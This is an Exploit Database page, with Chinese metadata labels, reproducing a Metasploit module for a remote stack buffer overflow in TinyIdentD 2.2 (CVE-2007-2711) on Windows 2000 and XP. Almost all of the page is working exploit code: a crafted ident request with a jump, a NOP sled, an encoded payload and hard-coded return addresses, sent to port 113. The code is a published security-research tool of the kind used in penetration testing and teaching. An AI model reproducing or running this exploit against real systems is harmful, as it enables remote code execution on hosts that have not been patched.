TinyIdentD 2.2 – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 12 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16444/

• ##
  # $Id: tiny_identd_overflow.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'TinyIdentD 2.2 Stack Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack based buffer overflow in TinyIdentD version 2.2.
  				If we send a long string to the ident service we can overwrite the return
  				address and execute arbitrary code. Credit to Maarten Boone.
  			},
  			'Author' => 'Jacopo Cervini <acaro[at]jervus.it>',
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					['CVE', '2007-2711'],
  					['OSVDB', '36053'],
  					['BID', '23981'],
  				],
  			'Payload'=>
  				{
  					'Space'=> 400,
  					'BadChars' => "\x00\x0d\x20\x0a"
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Windows 2000 Server SP4 English', { 'Ret' => 0x7c2d15e7, } ], # call esi
  					['Windows XP SP2 Italian',{ 'Ret' => 0x77f46eda, } ], # call esi
  
  				],
  			'Privileged' => false,
  			'DisclosureDate' => 'May 14 2007'
  			))
  
  		register_options([ Opt::RPORT(113) ], self.class)
  	end
  
  	def exploit
  		connect
  
  		pattern= "\xeb\x20"+", 28 : USERID : UNIX :";
  		pattern << make_nops(0x1eb - payload.encoded.length)
  		pattern << payload.encoded
  		pattern << [ target.ret ].pack('V')
  
  
  		request= pattern + "\n"
  
  		print_status("Trying #{target.name} using address at #{"0x%.8x" % target.ret }...")
  
  		sock.put(request)
  
  
  		handler
  		disconnect
  	end
  
  end